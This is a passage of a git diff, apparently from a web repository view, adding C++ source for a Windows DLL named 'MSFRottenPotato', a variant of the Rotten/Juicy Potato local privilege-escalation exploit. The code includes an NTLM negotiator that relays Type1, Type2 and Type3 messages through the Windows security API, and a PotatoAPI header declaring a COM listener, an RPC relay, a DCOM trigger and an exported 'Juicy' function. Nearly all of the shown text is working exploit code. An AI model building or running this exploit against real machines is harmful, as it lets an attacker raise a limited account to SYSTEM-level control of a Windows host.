pSecBufferDesc->pBuffers = pSecBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
int LocalNegotiator::handleType1(char * ntlmBytes, int len)
|
||||||
|
{
|
||||||
|
TCHAR lpPackageName[1024] = L"Negotiate";
|
||||||
|
TimeStamp ptsExpiry;
|
||||||
|
|
||||||
|
int status = AcquireCredentialsHandle(
|
||||||
|
NULL,
|
||||||
|
lpPackageName,
|
||||||
|
SECPKG_CRED_INBOUND,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
0,
|
||||||
|
NULL,
|
||||||
|
&hCred,
|
||||||
|
&ptsExpiry);
|
||||||
|
|
||||||
|
if (status != SEC_E_OK)
|
||||||
|
{
|
||||||
|
printf("Error in AquireCredentialsHandle");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
|
||||||
|
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
|
||||||
|
|
||||||
|
phContext = new CtxtHandle();
|
||||||
|
|
||||||
|
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
|
||||||
|
secClientBuffer.pvBuffer = ntlmBytes;
|
||||||
|
|
||||||
|
ULONG fContextAttr;
|
||||||
|
TimeStamp tsContextExpiry;
|
||||||
|
|
||||||
|
status = AcceptSecurityContext(
|
||||||
|
&hCred,
|
||||||
|
nullptr,
|
||||||
|
&secClientBufferDesc,
|
||||||
|
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
|
||||||
|
//STANDARD_CONTEXT_ATTRIBUTES,
|
||||||
|
SECURITY_NATIVE_DREP,
|
||||||
|
phContext,
|
||||||
|
&secServerBufferDesc,
|
||||||
|
&fContextAttr,
|
||||||
|
&tsContextExpiry);
|
||||||
|
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
int LocalNegotiator::handleType2(char * ntlmBytes, int len)
|
||||||
|
{
|
||||||
|
char* newNtlmBytes = (char*)secServerBuffer.pvBuffer;
|
||||||
|
if (len >= secServerBuffer.cbBuffer) {
|
||||||
|
for (int i = 0; i < len; i++)
|
||||||
|
{
|
||||||
|
if (i < secServerBuffer.cbBuffer) {
|
||||||
|
ntlmBytes[i] = newNtlmBytes[i];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
ntlmBytes[i] = 0x00;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("Buffer sizes incompatible - can't replace");
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int LocalNegotiator::handleType3(char * ntlmBytes, int len)
|
||||||
|
{
|
||||||
|
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
|
||||||
|
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
|
||||||
|
|
||||||
|
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
|
||||||
|
secClientBuffer.pvBuffer = ntlmBytes;
|
||||||
|
|
||||||
|
ULONG fContextAttr;
|
||||||
|
TimeStamp tsContextExpiry;
|
||||||
|
int status = AcceptSecurityContext(
|
||||||
|
&hCred,
|
||||||
|
phContext,
|
||||||
|
&secClientBufferDesc,
|
||||||
|
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
|
||||||
|
//STANDARD_CONTEXT_ATTRIBUTES,
|
||||||
|
SECURITY_NATIVE_DREP,
|
||||||
|
phContext,
|
||||||
|
&secServerBufferDesc,
|
||||||
|
&fContextAttr,
|
||||||
|
&tsContextExpiry);
|
||||||
|
|
||||||
|
authResult = status;
|
||||||
|
|
||||||
|
return status;
|
||||||
|
}
|
|
@ -0,0 +1,21 @@
|
||||||
|
#define SECURITY_WIN32
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
#include <security.h>
|
||||||
|
#include <schannel.h>
|
||||||
|
class LocalNegotiator
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
LocalNegotiator();
|
||||||
|
int handleType1(char* ntlmBytes, int len);
|
||||||
|
int handleType2(char* ntlmBytes, int len);
|
||||||
|
int handleType3(char* ntlmBytes, int len);
|
||||||
|
PCtxtHandle phContext;
|
||||||
|
int authResult;
|
||||||
|
|
||||||
|
private:
|
||||||
|
CredHandle hCred;
|
||||||
|
SecBufferDesc secClientBufferDesc, secServerBufferDesc;
|
||||||
|
SecBuffer secClientBuffer, secServerBuffer;
|
||||||
|
};
|
||||||
|
|
|
@ -0,0 +1,30 @@
|
||||||
|
#include "Objidl.h"
|
||||||
|
#include "BlockingQueue.h"
|
||||||
|
#include "LocalNegotiator.h"
|
||||||
|
#include <winsock2.h>
|
||||||
|
|
||||||
|
class PotatoAPI {
|
||||||
|
private:
|
||||||
|
BlockingQueue<char*>* comSendQ;
|
||||||
|
BlockingQueue<char*>* rpcSendQ;
|
||||||
|
static DWORD WINAPI staticStartRPCConnection(void * Param);
|
||||||
|
static DWORD WINAPI staticStartCOMListener(void * Param);
|
||||||
|
static int newConnection;
|
||||||
|
int processNtlmBytes(char* bytes, int len);
|
||||||
|
int findNTLMBytes(char * bytes, int len);
|
||||||
|
|
||||||
|
public:
|
||||||
|
PotatoAPI(void);
|
||||||
|
int startRPCConnection(void);
|
||||||
|
DWORD startRPCConnectionThread();
|
||||||
|
DWORD startCOMListenerThread();
|
||||||
|
int startCOMListener(void);
|
||||||
|
int triggerDCOM();
|
||||||
|
LocalNegotiator *negotiator;
|
||||||
|
SOCKET ListenSocket = INVALID_SOCKET;
|
||||||
|
SOCKET ClientSocket = INVALID_SOCKET;
|
||||||
|
SOCKET ConnectSocket = INVALID_SOCKET;
|
||||||
|
};
|
||||||
|
|
||||||
|
__declspec(dllexport) void EntryPoint(void);
|
||||||
|
__declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute);
|
|
@ -0,0 +1,19 @@
|
||||||
|
// dllmain.cpp : Defines the entry point for the DLL application.
|
||||||
|
#include "stdafx.h"
|
||||||
|
|
||||||
|
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||||
|
DWORD ul_reason_for_call,
|
||||||
|
LPVOID lpReserved
|
||||||
|
)
|
||||||
|
{
|
||||||
|
switch (ul_reason_for_call)
|
||||||
|
{
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
Binary file not shown.
|
@ -0,0 +1,8 @@
|
||||||
|
// stdafx.cpp : source file that includes just the standard includes
|
||||||
|
// MSFRottenPotato.pch will be the pre-compiled header
|
||||||
|
// stdafx.obj will contain the pre-compiled type information
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
|
||||||
|
// TODO: reference any additional headers you need in STDAFX.H
|
||||||
|
// and not in this file
|
|
@ -0,0 +1,16 @@
|
||||||
|
// stdafx.h : include file for standard system include files,
|
||||||
|
// or project specific include files that are used frequently, but
|
||||||
|
// are changed infrequently
|
||||||
|
//
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "targetver.h"
|
||||||
|
|
||||||
|
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||||
|
// Windows Header Files:
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// TODO: reference additional headers your program requires here
|
|
@ -0,0 +1,8 @@
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||||
|
|
||||||
|
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||||
|
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||||
|
|
||||||
|
#include <SDKDDKVer.h>
|
Loading…
Reference in New Issue